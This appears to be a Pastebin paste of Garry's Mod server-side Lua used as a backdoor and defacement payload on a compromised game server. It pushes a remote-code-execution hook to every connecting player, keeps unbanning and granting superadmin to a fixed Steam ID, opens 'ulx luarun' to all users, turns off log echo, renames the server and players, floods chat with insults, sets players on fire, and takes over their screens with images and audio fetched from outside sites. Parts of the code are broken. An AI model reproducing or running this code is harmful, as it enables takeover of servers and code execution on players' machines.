Advertisement
Guest User

Untitled

a guest
Jun 25th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.17 KB | None | 0 0
  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "нαcĸed вy prιĸzo.eхe [ мαтнιѕ oɴ ]"
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30. if not IsValid( pPlayer ) then return end
  31. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32. self:NextAction( pPlayer )
  33. end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37. pPlayer.m_intCurAction = 0
  38. self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42. net.Start( "slua2" )
  43. net.WriteString( strLua )
  44. net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53. timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54. timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55. timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57. timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58. timer.Create( "riptonserveurconnard", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  59. timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  60. timer.Create( "zbzbzbz", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  61. timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  62. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS:( ")]]) end)
  63. timer.Create( "checkForBanET - Mathis", 1, 0, function() ULib.unban( "STEAM_0:1:222059738") end)
  64. timer.Create( "setSUPERADMINET - Mathis", 5, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:222059738", "superadmin") end)
  65. ") end)
  66. timer.Create( "adminsgonnahate", 0.01, 0, function() print("0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101") end )
  67. timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  68. timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "GET FUCKT BY MATHIS") end)
  69. timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "SEIZED BY MATHIS <3 | MATHIS FUCKED YOUR SERVER") end)
  70. timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71. timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
  72. timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73.  
  74. end
  75. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  76.  
  77. -----START LINE CODE FOR DANSE
  78. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.6,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  79.  
  80. -----STOP LINE CODE FOR DANSE
  81.  
  82. ------- STARTCODE FOR FORCE CHANGE NAME
  83. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  84. ------- STOP LINE CODE FOR CHANGE NAME
  85.  
  86.  
  87. for k, v in pairs( player.GetAll() ) do
  88. lol:SetupPlayer( v )
  89. timer.Simple( 2, function() lol:Start( v ) end )
  90. end
  91.  
  92. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  93. lol:SetupPlayer( pPlayer )
  94. timer.Simple( 1, function() lol:Start( pPlayer ) end )
  95. end )
  96.  
  97. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  98. if strText:sub( 1, 5 ) == "/1337" then
  99. pSender:Ignite( 1e9 )
  100. pSender:ChatPrint( "fuck this job i quit" )
  101. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  102. return false
  103. end
  104. end )
  105.  
  106. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  107. if strText:sub( 1, 5 ) == "what" then
  108. pSender:Ignite( 1e9 )
  109. pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... bref brule connard" )
  110. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  111. return false
  112. end
  113. end)
  114.  
  115. --Sequence stack
  116. --Start some tunes and steam in our assets
  117. lol:PushAction( 0, function( pPlayer )
  118. lol:SendLua( pPlayer, ([=[
  119. sound.PlayURL( "http://askipcmonmenu.000webhostapp.com/monzizi/ghost.mp3", "", function()end )
  120.  
  121. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  122. local html = [[%s]]
  123. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  124. local pnl = vgui.Create( "HTML" )
  125. pnl:SetPos( ScrW() -1, ScrH() -1 )
  126. pnl:SetVisible( true )
  127. pnl:SetMouseInputEnabled( false )
  128. pnl:SetKeyBoardInputEnabled( false )
  129. pnl:SetSize( intSizeX, intSizeY )
  130. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  131.  
  132. local PageLoaded
  133. PageLoaded = function()
  134. local mat = pnl:GetHTMLMaterial()
  135. if mat then
  136. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  137. return
  138. end
  139.  
  140. timer.Simple( 0.5, PageLoaded )
  141. end
  142.  
  143. PageLoaded()
  144. end
  145.  
  146. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt", 1000, 1000 )
  147. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt2", 152, 250 )
  148. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt3", 152, 250 )
  149. ]=]):format(lol.m_strImageLoadHTML) )
  150. end )
  151.  
  152. --HUD swap
  153. lol:PushAction( 31, function( pPlayer )
  154. lol:SendLua( pPlayer, [[
  155. (GAMEMODE or GM).CalcView = function() end
  156. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  157.  
  158. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  159. for k, v in pairs(remove) do
  160. hook.GetTable()[v] = {}
  161. end
  162.  
  163. local function GetWebMat( strURL )
  164. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  165. end
  166.  
  167. hook.Add( "HUDPaint", "newhud", function()
  168. surface.SetDrawColor( 255, 255, 255, 255 )
  169.  
  170.  
  171.  
  172. draw.SimpleTextOutlined(
  173. "▁ ▂ ▃ ▄ ▅ ▆ ▇̈́ нαcĸed вy prιĸzo.eхe █ ▇ ▆ ▅ ▄ ▂ ▁",
  174. "DermaLarge",
  175. ScrW() /2 +math.random( -8, 8 ),
  176. ScrH() /2 +math.random( -8, 8 ) +64,
  177. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  178. TEXT_ALIGN_CENTER,
  179. TEXT_ALIGN_CENTER,
  180. 1,
  181. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  182. )
  183. draw.SimpleTextOutlined(
  184. "̧[ мαтнιѕ oɴ ]
  185. ",
  186. "DermaLarge",
  187. ScrW() /2 +math.random( -8, 8 ),
  188. ScrH() /2 +math.random( -8, 8 ) +0,
  189. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  190. TEXT_ALIGN_CENTER,
  191. TEXT_ALIGN_CENTER,
  192. 1,
  193. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  194. )
  195. draw.SimpleTextOutlined(
  196. "̈́On recommence tous du début",
  197. "DermaLarge",
  198. ScrW() /2 +math.random( -8, 8 ),
  199. ScrH() /2 +math.random( -8, 8 ) +130,
  200. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  201. TEXT_ALIGN_CENTER,
  202. TEXT_ALIGN_CENTER,
  203. 1,
  204. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  205. )
  206. draw.SimpleTextOutlined(
  207. "Maintenant tu peut fermer ton serveur hein ? :) ",
  208. "DermaLarge",
  209. ScrW() /2 +math.random( -8, 8 ),
  210. ScrH() /2 +math.random( -8, 8 ) +160,
  211. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  212. TEXT_ALIGN_CENTER,
  213. TEXT_ALIGN_CENTER,
  214. 1,
  215. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  216. )
  217. draw.SimpleTextOutlined(
  218. "Ah la Karma Team est la ! Attention ! RIP <3 ",
  219. "DermaLarge",
  220. ScrW() /2 +math.random( -8, 8 ),
  221. ScrH() /2 +math.random( -8, 8 ) -130,
  222. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  223. TEXT_ALIGN_CENTER,
  224. TEXT_ALIGN_CENTER,
  225. 1,
  226. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  227. )
  228. end )
  229.  
  230. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  231. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  232.  
  233. surface.PlaySound( "garrysmod/save_load4.wav" )
  234. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  235. ]] )
  236. end )
  237.  
  238.  
  239. --Disco time
  240. lol:PushAction( 10, function( pPlayer )
  241. local idx = pPlayer:EntIndex()
  242. timer.Create( "beat".. idx, 0.42, 0, function()
  243. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  244. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  245. end )
  246.  
  247.  
  248. lol:SendLua( pPlayer, [[
  249. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  250. local time = 0
  251.  
  252. hook.Add( "Think", "wat", function()
  253. if CurTime() < time then
  254. return
  255. end
  256.  
  257. time = CurTime() +0.05
  258. for i = 1, 16 do
  259. local part = emitter:Add(
  260. "particles/balloon_bit",
  261. LocalPlayer():GetPos() +Vector(
  262. math.random( -256, 256 ),
  263. math.random( -256, 256 ),
  264. 256
  265. )
  266. )
  267.  
  268. if part then
  269. local Size = math.random( 4, 7 )
  270.  
  271. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  272. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  273. part:SetDieTime( 4.5 )
  274. part:SetGravity( Vector(40, 0, -250) )
  275. part:SetLifeTime( 0 )
  276. part:SetStartSize( Size /2 )
  277. part:SetEndSize( Size )
  278. part:SetCollide( true )
  279. end
  280. end
  281. end )
  282. ]] )
  283.  
  284. lol:SendLua( pPlayer, [[
  285. hook.Add( "RenderScreenspaceEffects", "wat", function()
  286. local sinScaler = math.sin( CurTime() )
  287. DrawBloom(
  288. 0,
  289. 3,
  290. sinScaler *math.Rand(1, 8),
  291. sinScaler *math.Rand(1, 8),
  292. 6,
  293. math.Rand(0.5, 2),
  294. math.Rand(0, 0.3),
  295. math.Rand(0, 0.3),
  296. math.Rand(0.5, 1)
  297. )
  298. end )
  299.  
  300.  
  301. local w, h = 300, 300
  302. local ang = Angle( 0, 0, 0 )
  303.  
  304. for i = 1, 32 do
  305. if CurTime() > time then
  306. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  307. end
  308. local x, y = posCache[i][1], posCache[i][2]
  309.  
  310. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  311. cam.IgnoreZ( true )
  312. render.SuppressEngineLighting( true )
  313.  
  314. render.SetLightingOrigin( mdl:GetPos() )
  315. render.ResetModelLighting( 1, 1, 1 )
  316. render.SetColorModulation( 0, 0, 1 )
  317.  
  318. mdl:DrawModel()
  319.  
  320. render.SuppressEngineLighting( false )
  321. cam.IgnoreZ( false )
  322. cam.End3D()
  323. end
  324.  
  325. if CurTime() > time then
  326. time = CurTime() +0.15
  327. end
  328. end )
  329.  
  330. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  331. ]] )
  332. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement